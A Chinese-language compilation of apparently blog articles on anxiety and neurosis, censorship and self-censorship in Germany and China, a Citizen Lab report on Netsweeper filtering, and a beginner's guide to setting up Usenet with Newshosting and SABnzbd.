另一种麻痹的方式是投身工作，其特点是工作上的强迫性倾向和节假日中的焦虑不安。不是说所有工作狂都是在麻痹自己啊，真的不是，努力工作是值得鼓励的，只要能从中获得快乐和成就感。

还有，无节制地需求睡眠也能达到麻痹的效果，尽管更多的睡眠已无助于恢复精力。最后，性行为也能被用来释放焦虑。人们很早就意识

到了强迫性手淫可能源于焦虑，但事实是所有性行为都是如此。那些主要通过性行为去缓解焦虑的人一旦不能得到性满足 ——哪怕只是暂时的，就会变得极度焦躁易怒。这个不难观察到。至于是不是性强迫症（Sexual obsessions），还需要具体诊断，即便是的话，也同样存在麻痹自己的动机。

第四种逃避焦虑的途径是最激进的：它在于回避所有可能引起焦虑的情境、思想或感受。比如声称自己“不关心政治”。这也许是个有意识的过程，就是说一个人可能知道焦虑的存在并有意识地逃避它。然而他也可能只是隐隐约约地感知到了或者完全不知道自己的焦虑和逃避。这其中也包括明显的拖延事务、认为某些事完全不可行，但无关本人的知识和能力 ，而是关乎焦虑。就好像一个害怕在派对上被人忽略的姑娘，可能会设法让自己相信她厌恶社交聚会，从而彻底避免参加派对 。

检查一下，你身边有这样的人吗？

「图」

「图」

严谨的说，不能把类似自我审查那种焦虑单纯提出来直接按上神经症的诊断，那将意味着没有自我审查的人就肯定没有神经症，这可不一定哦。诸如焦虑 、抑郁 、功能性躯体障碍等这些耳熟能详的东西都属于症状，它们不能单独作为诊断标准，因为这些症状并不必然会出现 。虽然经常会出现某种抑制作用，但都太微妙或太容易伪装，让你看不出来。

焦虑是推动和维系神经症运作的马达。经常有人说“中国人都有神经症”，网上你能找到很多这样的文章，但我不同意这种说法，随便就上升到社会人格问题是不负责任的，我建议具体情况具体分析。

神经症不都与人格有关。当外部环境充斥着冲突时，那些人格原本完整无损的个体或群体也会发展出神经症的反应，有个名词叫“简单情境性神经症”。精神分析一直以来对这事儿不大感兴趣，主要因为它跟人格没关系，只是人在困难处境之下的暂时性适应障碍。而人格性神经症 ——尽管它的症状与情境性神经症相似 ，但其精神障碍主要是源于性格的扭曲 。

玩过打地鼠游戏吧，锤子来了地鼠会缩回去，锤子走了地鼠马上就能钻出来。这就是情境性的。如果钻不出来了，就真的出问题了。大多

数人的人格比较稳定，一生中没有什么大起大落，但如果经历过恶劣的灾难、致命的打击，人格有可能会被修改。也就是说，情境性的神经症如果持续时间过长、所处情境过于恶劣，就有可能转为神经症人格。政治犯、莫须有的牢狱之灾和酷刑，杀伤力是很大的。

但不是说所有经历过酷刑和牢狱之灾的人都会有这样的结果，有些人会很坚强的挺过来，而另些人就很容易被扭曲。如果搜索后者的过往经历，往往能发现困难人格特质的蛛丝马迹。就像一座火山，喷发是可见的状态，而根源在深埋的岩浆那里。

从文化角度来说，性格的扭曲比神经症症状更重要，因为是性格、而不是症状，在直接影响着人的行为 。

虽然神经症的类型不同，患者的年龄、气质和兴趣、所属社会阶层也都不同，但动态中心冲突的内容及其相互关系却基本相似。与那些困扰正常人的问题相比，这些问题的不同之处只在于量的大小。

这座冰山有点大，如何去观察和了解它？下篇文章中详细介绍。

「图」

「图」

（未完待续）

原文

信息末日启示录究竟有几个骑士？打击“假新闻”也成为变相审查的幌子 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构……

「图」

「图」

你听说过德国的“假”新闻法吗？人权观察组织今天表示，强制社交媒体公司去除所谓的仇恨言论和其他非法内容的德国新法律，可能会导致不负责任的、过度广泛的审查，应立即予以扭转。该法案将开启强制科技公司实施在线审查的危险先例。

德国议会于2017年6月30日批准了网络执法法案（俗称NetzDG），并于2018年1月1日全面生效。该法要求Facebook、Instagram、Twitter和YouTube等社交媒体平台立即删除“非法内容”——从侮辱公职到暴力威胁。否则将面对高达5000万欧元的罚款…

很多国家的确有民主架构，但并不代表审查在这里不存在，相反它会变得非常复杂和精妙，它通过多个层面的间接途径来混淆正在发生的事实，这些层面可以用来否认正在发生的审查。为了绕避选民的追问，当权者一直为此绞尽脑汁。

全球当权者最喜欢用的理由是：洗钱、毒品、恐怖主义和儿童色情（在中国，仅仅“色情”就可以让你看见404），隐私保护支持者讽其为“信息末日启示录”的四骑士。也就是说，只要这四种理由摆出来，审查就可以畅通无阻了。

曾经一篇关于数据存储的被曝光的欧盟委员会工作论文中是这样写的：“我们应该多谈谈儿童色情问题，这样人们就会支持我们了”。你瞧，当权者都很聪明。

现在它已经变成“六骑士”了，增加了“假新闻”和所谓的“仇恨言论”。就如德国现在所做的这样。这是很危险的思路。

假设你只针对某项事物进行审查，比如说儿童色情，你需要从人们浏览的东西中过滤出关于儿童色情的内容，那么你就首先必须监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

你可以说这项工作的初衷是好的，连美剧创作都在使用这种逻辑为政府的全面监控洗白（《疑犯追踪》）。很多时候，政府制造的麻烦比他们解决的问题多得多，而你又如何确定政府就是这个星球上解决所有问题的终极答案？

政府掌握了太多权力，权力集中的领域又吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它，然而很多人还在假装这事儿在民主国家会有所不同。

并没有什么不同，因为存在着一个统治的连续体，从威权主义到个人意志主义。英国OrangeUK曾经审查公民权利组织 La Quadrature du Net 的网站长达几个星期，连续八年拒绝承认该网站。因为 La Quadrature du Net 反对英国违背“网络中立性”的政策，该组织呼吁禁止他们对用户通信的差别对待。

服务商在这里就扮演着这样一种角色，他们主动剥削人们接触互联网信息的能力。不论你把权力赋予Orange、政府，还是其他什么人，都存在着巨大的风险。

我承认儿童色情那种东西真的很可怕，令人作呕，但解决这个问题的方法绝不是政府和服务商主导的审查，很多国家都存在骚扰人民的所谓“常规监督”，在互联网上，网络警察造成的伤害早已胜过了儿童色情。

那么怎么办？德国“黑客元老”瓦乌·荷兰德曾经说过：“过滤应该由最终用户来决定，由终端用户的终端设备来执行”。这就是答案。

也就是说，每个人都带着一个过滤器，就长在脖子上——你的大脑。过滤不该由政府代表人民来执行，如果人们不想看到某些东西，那好，他们就不会去看，而且，不论如何，现在也的确需要你自己去过滤很多事情。 广告

原文

公私监视伙伴关系：10个国家使用加拿大的互联网内容过滤技术压制异议 - iYouPort

公私监控伙伴关系协助暴政的家伙们审查和自我审查-民主的支柱是如何歪掉的

新的 Citizen Lab 报告称，“Netsweeper” 被用于审查政治评论家、新闻、LGBTQ 及相关资源。

「图」

「图」

公民 Ahmed Mansoor 一直受到威胁，被窥视并遭到殴打 – 人权活动家认为，所有这些遭遇都是因为他直言不讳地批评阿联酋的众多侵犯人权行为，以及对异议人士的高压镇压。

他的行动主义在他被捕的那一刻结束了，但是对他受欢迎的在线论坛的审查开始了。这些审查是在加拿大的技术帮助下实现的，该技术一再因其错误的使用而成为臭名昭著的焦点。

作为周三发布的全球调查的一部分，多伦多大学公民实验室的研究人员称，他们发现了新的证据，证明由安大略省滑铁卢市开发的这种网络过滤技术已被10个国家用于审查新闻获取、宗教内容，LGBTQ 和政治运动。

在包括阿联酋在内的这十个国家的清单中，印度和巴基斯坦这两个议会民主国家最值得注意。

其中发现：

如果通过未加密的连接访问，Google 搜索关键字 “gay” 和 “lesbian” 的结果在阿联酋、巴林和也门不可见；“堕胎”这一类别下的网站在科威特完全被封锁；世界卫生组织在阿联酋和科威特被被归类为“色情”；巴林、卡塔尔、苏丹和索马里封锁了主题为政治新闻、政治观点和批评的网站；在也门，胡希反叛分子限制了所有有关该国内战的

异议信息。

信息过滤技术经常被世界各地的学校、图书馆和企业广泛使用，用来限制访问内容，包括色情内容、盗版内容、网络钓鱼计划或所谓的“仇恨言论”。但一些政府也要求互联网服务提供商使用这项技术，努力遏制被巴基斯坦等国政府称之为“不良网站”的内容 – 通常是批评政府执政的内容、或反对主流宗教或文化敏感性的异议内容。

公民实验室的研究人员指出，在一个地区或整个国家实施这种限制可能会引起严重的人权问题。

“加拿大是一个由其价值观定义的国家，而（该过滤技术）正是一家总部位于加拿大的加拿大公司生产的，”公民实验室主任兼调查报告的合著者 Ron Deibert 说。Netsweeper 首席执行官 Perry Roach 在接受 CBC 电话访谈却说，公民实验室先前有关他的公司的报道是“胡说”。他多次拒绝采访请求，并且至今没有回答有关研究人员最新发现的详细问题。

「图」

「图」

全球最大的民主正在被过滤审查

世界上最大的民主国家印度封锁了近 **1,200** 个网址 – 比公民实验室测试的任何其他国家都要多。这些网址包括半岛电视台对罗兴亚穆斯林难民危机的报道、以及存档网页快照的档案网站 **Wayback Machine**。

讨论难民危机的 Facebook 网络社区小组也被封锁，但仍有可能通过加密连接访问。

CBC News 与印度快报的记者合作进行自己的测试，以查看哪些网站被封锁。执行编辑兼调查主管 Ritu Sarin 说：“过去审查一直强调色情网站和游戏网站，现在审查方向已经转向了所谓的国家安全……人权组织和非政府组织也将被封锁，或已经被封锁了。”

“我很惊讶地发现印度居然也出现名单上，”她说，“这是一个理论上拥有互联网自由的国家……我想人们会对此感到失望。”

这个加拿大公司 Netsweeper 一直坚持它在全球销售的这种过滤技术是“中性”的，有预设的赌博和色情过滤器和一个自定义过滤器，用于

操作员添加自己的网站。但他们也表示，不会在乎客户怎么使用该技术（过滤什么样的内容）并反驳要求其对产品使用方式承担任何责任的观点。

「图」

「图」

“alternative lifestyles”

公民实验室的研究人员表示，网络扫描过滤技术也被部署在有侵犯人权记录的几个国家：阿富汗，巴林，科威特，卡塔尔，苏丹，阿联酋，也门和索马里。

据称，阿联酋使用预先设定的“alternative lifestyles”类别来封锁 LGBTQ ＋倡导组织、新闻和教育资源的网站，其中包括人权运动和国际男女同性恋、双性恋、跨性别和双性恋者协会。Netsweeper 将这一类别描述为与“全面的非传统性行为、兴趣和取向” 有关的内容的过滤器。

Deibert 表示，通过提供旨在限制 **LGBTQ** ＋相关内容访问的过滤器，**Netsweeper** “有效地协助了那些国家政府的侵犯人权行为。”

公民实验室还发现，直言不讳的阿联酋人权活动家 Ahmed Mansoor 的博客和论坛“Emirati Dialogue 阿联酋对话” 也被封锁。Mansoor 在过去的一年中一直呆在监狱里 – 被隔离在一个不知名的地方 – 现在他又因涉嫌违反国家的“网络犯罪法”而受到审判。

“必须确保你的技术不会对无辜的人产生影响，”加拿大担任海湾人权中心董事会主席的 Kristina Stockwood 说，她认识 Mansoor，他也是该中心董事会的成员。

Stockwood 说，“有些政府经常声称他们是在打击坏人，而事实上他们的行为打击的是好人”

“这种武器还杀死了社会”

阿联酋前检察官 Mohamed al Saqr 由于政治观点而被迫提前退休，他说，加拿大及其合作伙伴是压制言论自由的共谋者：“就像那些出售武器的国家一样，但审查的武器以不同的方式，会杀死社会。它正在助纣为虐，压制人民的呼声”。

公民实验室建议加拿大政府授权公开透明度报告，进行尽职调查，并将禁止不道德的活动作为联邦和省级资助的条件 – 例如 **Netsweeper**，他们从美国国家研究委员会获得的赠款超过**30**万美元。

全球事务部长 Chrystia Freeland 拒绝接受采访的请求；全球事务发言人向 CBC 新闻重申，政府将“继续与我们的合作伙伴就此类技术进行审查”。

一些公司拒绝将其技术出售给某些国家，因为他们担心这些国家可能会滥用技术，或者在其产品协议中加入禁止滥用的条款。其他公司会在其网站上发布企业社会责任和人权政策。

To censor the internet, 10 countries use Canadian filtering technology, researchers say

A new Citizen Lab report says Netsweeper is being used to censor political critics, news, and LGBTQ+ resources

Matthew Braga, Nahlah Ayed, Dave Seglins, Julian Sher, Michelle Gagnon · CBC News · Posted: Apr 25, 2018 4:00 AM ET | Last Updated: April 25

原文

在中国：内容创业者的背面 - iYouPort

关于中国社会审查和自我审查-民主的支柱是如何歪掉的

“我感觉到了自我审查情势的严峻，用骄傲的态度表达自己的恐惧足够证明人们已经难以感受到情绪的根源了”

「图」

「图」

“我理解他们，但是我不会认同他们”，这是 Chris 在本次采访中所说的最后一句话。来自北欧的 Chris 有很好的中文水平，对互联网有浓厚的兴趣，中国是全球最大的互联网市场，Chris 却在这里经历了一场奇幻之旅。

自从李克强喊出第一句“互联网创业提振经济”起，“内容创业”这个词便在中国人的嘴边叫响了。审查的重重铡刀之下，一批批创业者前赴后继。能活下来的总是最少数，能做大的更是极少数，他们是如何苟延的？这正是 Chris 感兴趣的地方。

一次偶然的机会，Chris 接触到了某中国内容生产者的约稿邀请，他们的口号是“传播新知识”。Chris 认为这是个很好的目的，“在中文网络上，无知的浓度总是高得惊人，人们需要更多真正的知识去充实自己”，他说，“最初我很喜欢他们的项目，于是欣然前往，但很快，我发现事情并非我想象中的那样”。

这是一个在线约稿的自媒体，笔者和编辑互不见面，Chris 娴熟的中文让对方认为他是中国人，一直没有对此表示过怀疑。近千元一篇的稿酬虽然算不上什么竞争力，但在渴求兼职的中国写手们眼中也能算块不大不小的肥肉了，“多亏我手快，晚一步恐怕就满员了，很多人在拼命挤进来，你能感觉到那种类似监狱里过圣诞节时抢巧克力的场面”，Chris 笑着说。

但主编的第一句话就惊到了他，“避免一切与政治相关的内容”。在 Chris 眼中，几乎没有什么是可以算在政治之外的，他意识到，中国

人对“政治”概念的理解与自己不同。

“他们有所解释，准确说是很自豪的宣称——这是一个内容创业者能生存下来的基础”，“我感觉到了自我审查情势的严峻，用骄傲的态度表达自己的恐惧足够证明人们已经难以感受到情绪的根源了”，他说。

我和 Chris 交流的时候，他已经在此工作超过两周，虽然无一“收获”。流程是这样的：写手们报上选题，同时要把“知识点”和论述逻辑写清楚，由编辑部筛查后确定合适的内容，再通知报题者撰写具体的文字，字数限制在一千字左右，不可以超过这个数量。所谓的“撰写”不过是将被选择的文章或书籍用最简单的话复述一下，拒绝创作加工和评论。

其实它的难度并不小，就是我们都知道的：简化意味着模糊化甚至变异，如何能将一个复杂的道理用最简单的话在最少的字数范围内讲清楚，比放开限制详细论述要困难很多，它很容易造成曲解、片面或偏执，它不是学术精神，也与知识这个概念相悖，但却是中国的内容创业者所追求的“眼前一亮”。

Chris 报了六个选题，全部没能通过，主编给他的意见有 4 个：1、渠道不著名；2、相关理论发布时间超过三个月；3、措辞不通俗；4、太深奥没价值。

对于渠道问题，主编的意见是“相关理论的发布者必须是名人”，Chris 对此很不解，主要在于他认为自己选择的来自科罗拉多大学、斯坦福大学、伊利诺伊大学等专业研究渠道的学者是具备足够说服力的，但主编则指出：“这些地方我们的读者都不一定知道，你需要盯着我国互联网上的大V们，他们才能算得上名人”。

“他们给了一个列表”，Chris 说，都是一些在中国的微博上活跃的公共知识分子，那位主编指出——这些人才是尽人皆知的大佬，他们有很高的价值，绝不能错过他们发表的任何意见，“哪怕是狗屎，也要收集起来，因为他们很有人缘儿”，Chris 说：这是原话。

粉丝经济并不是单层的生意，转手名人效应的二道贩子也能肥得满面红光，部分所谓的内容创业就是搭接在名人光环之下的。让人难以理解的是，该项目的主旨是丰富用户的知识，知识只有对错之分，与渠道的相关度并不高，况且那些被认为是名人的中国局域网大V之所言也并非都是真知灼见，或者有足够的深度及创意，这些价值成分在审查的铡刀之下早已所剩无几。

不过这很可能是做为“安全措施”的一部分，那些中国网络名人的言论是在审查的许可之下存在并广为传播的，他们提示了审查的安全范围。

对于“相关理论发布时间不能超过三个月”这一限制，Chris 也很不理解，他举例说：比如当下，电信诈骗是热点话题，提醒人们如何防御诈骗应该属于时效题材，但如果选取的深度解析诈骗的文章发布时间超过了三个月就会被认为失效、丝毫不考虑理论本身在当下的实用性，这样做将会错过很多价值。该部门主编对此的回复则是：“这叫互联网思维。因为我们需要填写相关文章发表的时间，新就是亮点之一，用户们对过时的东西是不会感兴趣的，你觉得网上能有几个人会去翻看一个账号的历史信息呢？哪怕该账号再著名。同样道理”……

互联网思维的特点中的确包括强此在感，如今的人们对时效的追求程度之高史无前例，但很多理论并没有过时，反而为数不少的“新作”是建立在经典理论之上的、甚至他们中的大部分几乎没有新的见解，一定程度上，人们所获取的只是伪装的时效感。但这并不是中国的内容创业者们所考虑的东西，他们只需要了解如何赚更多钱。

用该主编的话说就是“大众越是蠢，我们才能赚得越轻松”，拒绝 Chris 的3和4两个理由正是出于这点。Chris 的中文能熟练写作中等水平的文章，但该主编嗅觉也足够灵敏，他第一眼便指出：“你的文字翻译腔太重，不入流啊”，说到这里 Chris 笑了，他的思维依旧是英文模式，这也令他感觉那些中国微信上流行的文章太过局限，“一种沉浸在古老的民族文化中的保守，这是抑制创新能力的枷锁”，他说。

不过很明显，保守的东西在中国有市场，创新则会被人们认为“不正统”，于是很可能没人会关心你说了什么。Chris 认为，这些创业者还是有潜力的，他们的行为透露对环境很敏感，只是在改变和顺应之间选错了方向。

什么是好的内容？——人们有兴趣知道的内容 + 人们认为正确的内容，与内容本身的现实价值关系不大、甚至与其正确与否关系不大，如果严重颠覆人们的认知，哪怕有再多、再可靠的理据，恐怕也难以被认可。这并不是互联网媒介造成的，互联网只是加快了你被否定的速度，因为人们的获取被迫在更短的时间内做出选择，直觉成了几乎全部的依据，既有认知和偏好是直觉产生的基础。Chris 是在这段对他来说很独特的工作经历中认识到这点的，他引用了网络上一句中国式调侃来表达这个问题：“想火吗？你要先学会讨好傻逼”。这个看似偏执的极简化说法足够用万余字去解构。

互联网可以是知识的宝库，因为信息唾手可得，它也同样可以是偏见的强化剂，因为各式各样的筛选和被筛选无处不在，你能便捷获取到的内容都在你的偏好之内。然而在中国的局域网里，只有一个结果，那就是慢性自杀，Because You Have No Choice，筛选来自于审查政策的制定者。

Chris 说，“无奈可以理解，但迎合错误无法被认同”。

近日，加拿大环球邮报发表了一篇文章，其中写道，中国审查要求的迅速收紧使得本地互联网公司陷入了高风险的生存游戏，高管们知道，如果他们允许被禁内容的发表，公司就会面临倒闭。文章引用了秒拍副总裁的话说：“毫不夸张，任何公司都可能在一夜之间死去”。

这只是审查整体效应的第一层。在中国，审查规则的制定者都是满头白发的互联网门外汉，他们所依照的标准是共产党传统的意识形态，这种高度保守的意识形态排斥一切新鲜事物，与占据互联网主体的年轻人的认知和偏好格格不入，在中国人们称之为“代沟”的东西似乎都不足以反应这种现象。让这些政策制定者完全满意的结果就是把中国的大局域网变成一座坟墓。

审查效应的第二层是中国互联网公司的恐惧，一方面他们的产品吸引的是年轻用户群体，而另方面，决定他们生死存亡的却是那些老龄保守派政治权威。如果得不到用户的支持，平台肯定会枯萎，如果得罪了审查者，则会导致猝死。于是这些互联网公司的生存之道也是兵分两路的，一方面竭力讨好审查者，充分发挥“走后门”文化，另一方面培养用户和内容生产者对审查之苛刻的习以为常。

方法一的结果除了权钱关系之外，更有可能会造成这些公司拿用户的隐私数据作为交易，换取当权者的“不杀之恩”。这是一种主动的配合，虽然在中国这部分交易从来没有被揭露过，但绝大部分互联网用户都有相关经验，即帖子被删除并不是结束，秘密警察来敲门才是。删帖的是平台，而对用户的定位追踪则由思想警察完成。于是，即便没有公私监控伙伴关系的具体隐情被披露，但在中国，也没有人会怀疑它的存在。

方法二用起来简单得多，因为有粉丝经济的大环境垫底，内容生产者们就如本文中 Chris 所描述的这般，早已习惯于甚至可以说是骄傲于严格的自我审查，在他们面前只有两个选项，一个是被秘密警察登门造访，因账户被封锁而失去辛苦积累起来的大批关注者，另一个是赚到更多钱，以及金钱能换来的一切荣耀。他们几乎不会犹豫。

由于上述两层效应的存在，更为广大的用户长期接触到的就只有在审查和自我审查双重过滤之下的残渣，人们慢慢便会觉得这个世界上只有残渣就够了。毕竟一个人不可能知道自己不知道什么。其结果就是，无知和落后、保守和局限，在不知不觉中被打造完成。

审查的第三层效应是更为广泛的恐惧。不仅有被审查、被抓捕治罪的恐惧，还有“与周边人格格不入”的恐惧，一种脱离群体的孤独感迫使那些有创新思想和突破意识的人自我沉默。

最终人们所能看到的就是如今这个社会的样子，它似乎什么都不缺，GFW之内克隆了几乎所有国际上流行的玩法，然而就像一台挂满铁锈和蛛网的陈旧机器，毫无意识地机械性运转着，所有人似乎都很忙碌，却没有任何价值被生产出来。雾霾一般的互联网内容产品让人只想戴上口罩。

广告

原文

如何开始使用 Usenet，这里是最佳选择 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的自我保护措施-技术技巧以防身

是时候 Usenet 了，你懂的。

「图」

「图」

EFF 创始人 **John Gilmore** 在上世纪九十年代有句名言：“网络将审查视为故障，并绕道而行”。如今这个审查遍地的时代，这句话听起来像一种乐观主义的技术阐释，有点一厢情愿的意思。其实不是这样。Gilmore 描述的是 Usenet，基本就是三十多年前的多对多电子邮件系统。

简单说它这样的：你可以想象在用户和服务器之间不存在差别，每个人都能运行他们自己的新闻组服务器。你写下某个东西，把它发给一两个，新闻组服务器会自动查看是否已被接收。如果没有收到，它们就会获取一份，然后把它转发给所连接的每一个人，每个人实际上都得到了一份拷贝。一旦任何个人遭受审查，他们只会被忽略，不会造成多大影响，这则消息依然在所有未遭审查的人之间传播。

Usenet 是一个古老的互联网系统。 回到20世纪80年代初期，Usenet 被创建为全球分布式讨论系统。 从硬件黑客讨论到电影批评，再到另类生活方式，所有的小组都存在。 Usenet 作为全球论坛的鼎盛时期早已过去（尽管有些团体仍然活跃）。 然而，Usenet 感谢二进制组和 NZB 文件的介绍。

二进制组是专门用于分发非文本文件的子组。 这些文件被分解成几部分，并作为文本块在数千个连续的 Usenet 消息中共享。 您几乎可以找到您可以想象的任何类型的文件，这些文件可以从小文件下载到多 GB 蓝光映像文件。 访问二进制组是一个神秘的艺术，当这些多部分文件没有正确下载或解包时，需要多个步骤以及许多挫折。 最终，人

们认为他们已经有足够的钱了，NZB 档案就此诞生了。

尽管 NZB 格式的起源很模糊（有些人认为它是由 Newzbin 创建的，另外一些则是由荷兰电脑爱好者首先创建并由 Newzbin 提出的），NZB 文件的实际应用是非常清楚的。 NZB 文件是 XML 索引，使 Usenet 上的文件共享和访问非常容易。 回到 Usenet 上的二进制共享时代，您必须亲自查找共享文件的所有片段，然后使用各种程序自行重新组合它们。 例如，在90年代初，做下载壁纸包这样简单的事情是一个多步骤且容易出错的过程。

NZB 文件消除了所有那些繁琐的动手操作，并且使得仅仅使用一个NZB文件就可以简单地检索整个文件集。 为了使它回到 BitTorrent 的比较中，NZB 文件与 Torrent 文件非常相似，除了不是指向全球数千个文件共享者，NZB 文件指向高速 Usenet 服务器上的数千个文件。

当您在 Usenet 客户端中加载 NZB 文件时，您将与您的 Usenet 提供商建立直接的一对一链接 – 无需额外的同伴，在访问您的计算机之外，或将您的文件从共享文件共享回互联网。 这是 BitTorrent 的所有好处，而不是缺点。

您只需开始使用 Usenet 即可使用 Usenet 服务提供商，NZB 索引和 Usenet 客户端。 让我们来看看这三件事情，并让您使用 Usenet 运行起来。

在我们继续之前，关于 Usenet 的最后一个注意事项是 ：Usenet 可以用来下载各种各样的东西，我们只是告诉你它是如何工作的。 Usenet 上的某些材料的合法性会因国家/地区而异，但您需要知道的最重要的事情是您绝不应将任何受版权保护的材料上传到 Usenet。 这在任何地方都是非法的，所以不要这样做。

选择一个服务提供商

与 BitTorrent 不同，Usenet 会花费你一些钱。 然而，为快速下载和隐私付出的代价是很小的代价。 您的 ISP 可能拥有 Usenet 服务器，但有99％的服务器不适合我们的目的。 如果您的 ISP 是提供 Usenet 访问的其余 ISP 之一，那么他们很可能不提供对二进制组的访问权限，这使得它们无法用作文件共享服务。 不仅如此，速度也可能受到限制。 非 ISP 供应商并非如此。

先重点介绍一些关键术语以及您应该在 Usenet 提供商中寻找的内容：

保留时间 ：保留时间是 Usenet 服务器保留二进制文件的时间。 保留时间越长越好。 如果您要支付高级服务器费用，则应该预计保留时间为几年 。 顶级提供商的保留率通常超过1000天。 保留率低的服务器只会令人沮丧。 至少，您应该接受至少 800 天以上的保留。

配额/每月上限 ：提供商提供的分层服务范围从每月10 GB 到无限制访问。 我们建议几乎每个 Usenet 提供商都提供免费的30天免费试用版，然后在本月底检查您的使用情况，以确定您想要的级别。 然而，现在，拥有巨大的文件大小，你几乎总是想要无限的计划。

服务器连接数 ：这是您可以与主服务器建立的并发连接数。 有些人过分强调这个数字的重要性。 几乎每个 Usenet 提供商都提供10个以上的并发连接，并且即使只有5-10个甚至100 MB的宽带也很容易饱和。 如果提供商试图通过说他们提供20多个连接来赞美你，那么对于实际应用来说，它更多的是展示，除非你坐在光纤主干上。

安全特性 ：这里最重要的是为您的连接提供 SSL 加密。 你想要 SSL。 这可以确保您的计算机和您的 Usenet 提供商之间无人知晓您的连接正在发生什么。 您正在努力设置 Usenet 连接以实现快速，私密和安全的下载。 不要跳过 SSL！ 一些高端提供商提供了额外的安全功能，如VPN 服务（如果您想继续大量访问罕见文件时很有用）和安全文件存储（加密的类似 Dropbox 的安排）。 这些插件很好，但对我们的目的不重要。

「图」

「图」

有了这些条款，现在开始寻找流行的 Usenet 提供商。 这里重点介绍两个最受欢迎的提供商：

NewsHosting ：这些人是业内最好的。 它们提供 2536 天的保留期限，最多可同时连接**60**个连接，您的订阅中包含一个免费的 **VPN**，所有连接均为全加密，并且比其他大多数一级提供商便宜。 他们甚至有一个免费的 Usenet 浏览器，所以你可以轻松地找到东西，而无需使用一些笨重的应用程序。 当然，他们有免费试用期。

UsenetServer ：另一个一级提供商，保留 2536 天，全连接加密，以及无限数据传输与他们的付费计划。 他们有一个可以使用的搜索界面，并有14天的免费试用期，因此您可以在购买之前尝试。

一旦您注册了帐户或免费试用版，就可以配置您的 Usenet 客户端了。

如果您使用 **Newshosting**，可以使用他们的客户端应用程序

当你刚刚开始时，最简单的事情就是下载官方客户端，而 Newshosting 提供了一个简单的客户端，可以轻松下载，运行和入门。 只需从您的帐户页面下载它，然后使用您的凭据登录。

您可以使用右上角的搜索框查找要下载的内容。 您也可以直接打开 NZB 文件，Newshosting 客户端立即开始下载。 您可以在本文中进一步向下滚动以获取如何查找 NZB 文件的说明。

「图」

「图」

这绝对是开始使用Usenet的最简单方法，但随着您变得更加舒适，您很快就会发现它不是高级用户的最佳解决方案。 这对于简单的东西来说很棒，但是大多数严肃的 Usenet 爱好者使用 SABnzbd 或 nzbGet- 我们更喜欢前者。

高级用户？ 以下是如何安装和配置 **SABnzbd**

「图」

「图」

到目前为止，**SABnzbd** 是最好的 **Usenet** 客户之一。 它很稳定，与许多帮手应用程序集成，并提供如此强大的功能，我们甚至不会浪费时间提及其他 Usenet 应用程序。 SABnzbd 是用 Python 编写的，可用于 Windows，Mac，Linux，Unix，BSD（以及可以编译和运行 Python 应用程序的任何其他操作系统）。

SABnzbd 最有价值的事情之一就是它的轻量级。 许多 Usenet 应用程序都是随机编码，而且资源非常庞大 – 多年来，我们测试了很多不同的应用程序，只需简单地将其闲置即可处理处理器，更不用说实际下载和解压缩文件。

在这里为您的操作系统抓取 SABnzbd 的副本，然后运行安装程序（主要是单击下一种安装）。 您要做的唯一的事情是检查选择组件屏幕上的所有选项。 您希望 SABnzbd 在启动时运行，因此它始终在运

行，并且您希望将NZB文件与应用程序相关联。

注意：如果您使用的是 macOS，则安装更简单，只需双击安装程序并将其拖至 Applications 文件夹即可。

「图」

「图」

安装完成后，您的默认Web浏览器将在端口8080上打开与本地主机的连接，在此处您将看到SABnzbd快速启动向导。 选择您的语言，然后单击“开始向导”按钮。 添加您的详细信息，这对于Newshosting将是：

主持人： news.newshosting.com

用户名：「通常是您的电子邮件地址」

密码：「您的密码」

「图」

「图」

如果您想要，您也可以单击以设置高级选项 – 现在默认启用 SSL，并且您一定要确保使用安全通道。 作为参考，SSL 端口通常是 563。

一旦你填好了所有的东西，点击“测试服务器”按钮，一旦你验证了它的工作，只需点击完成安装并进入 Web 界面。

调整常用的 **SABnzbd** 选项

您可以通过使用 Web 界面提供 NZB 文件来开箱即用地使用 SABnzbd，但有一些方法可以使这一切变得更加简单。

设置您的监视文件夹，使下载更轻松

如果您在台式电脑上运行 SABnzbd，那么您要立即做出的最大改变是设置观看文件夹，以便在下载 NZB 文件时，它会被 SABnzbd 自动提取并开始下载马上。 进入 Config，然后点击顶部的“文件夹”选项。 从那里，将您的监视文件夹更改为您设置浏览器下载的相同位置 – 通常只是您主目录中的 Downloads 文件夹。

如果您要在网络上的其他 PC 上运行 SABnzbd，您可以将监视文件夹设置为一个新文件夹（可能称为 NZB），然后在网络上共享该文件夹。 或者，您可以使用 Dropbox 之类的软件轻松地将 NZB 从本地 PC 同步到服务器。

「图」

「图」

从另一台计算机访问 **SABnzbd**

如果您想从另一台计算机访问 SABnzbd，也许您正在将其安装在您的家庭服务器上，则需要进入设置，然后单击顶部的“常规”选项卡。 默认情况下，服务器监听环回 127.0.0.1地址而不是您的实际IP地址，因此您需要在此处进行更改。 作为参考，以下是如何找到您的IP地址，以及如何设置静态IP地址 。

从这里开始，您还可以更改端口号，以防与任何内容发生冲突，并且您可以启用 HTTPS。 这在家用台式机上并不是特别有用，但如果你在某个服务器上运行它，这是一个不错的选择。

「图」

「图」

在这一点上，你准备好了。 你只需要一些 NZB 文件。

照顾和喂养你的 **Usenet** 客户端

「图」

「图」

此时，您有一个 Usenet 提供程序，并且您有一个正确配置的 Usenet 客户端。 现在你需要的只是一些 NZB 文件提供给你的客户。 以下是流行的NZB索引网站。 大多数人可以免费使用，保留期限有限，并且需要某种注册和或名义付款才能完全访问（即每年10美元）。

这里要考虑的一个重要问题是该指数是原始指数还是手工指数。 原始索引只是 Usenet 上所有文件的巨大搜索数据库 – 功能强大，但对于新用户来说成功导航有点棘手 – 而手工编制索引数据库则会为您分类，分类和提供质量保证。

NZBIndex ：这个网站是免费的，不需要注册，而且索引的质量也不是很好，但是当你第一次开始的时候这不是一个不错的地方尝试。 将会有很多垃圾需要排序。

NZBFinder： NZB 索引需要注册，如果您想下载任何内容，您将必须付费。 好消息是它与Sonarr，Radarr，Sickbeard以及所有您最喜爱的高级用户工具集成在一起。

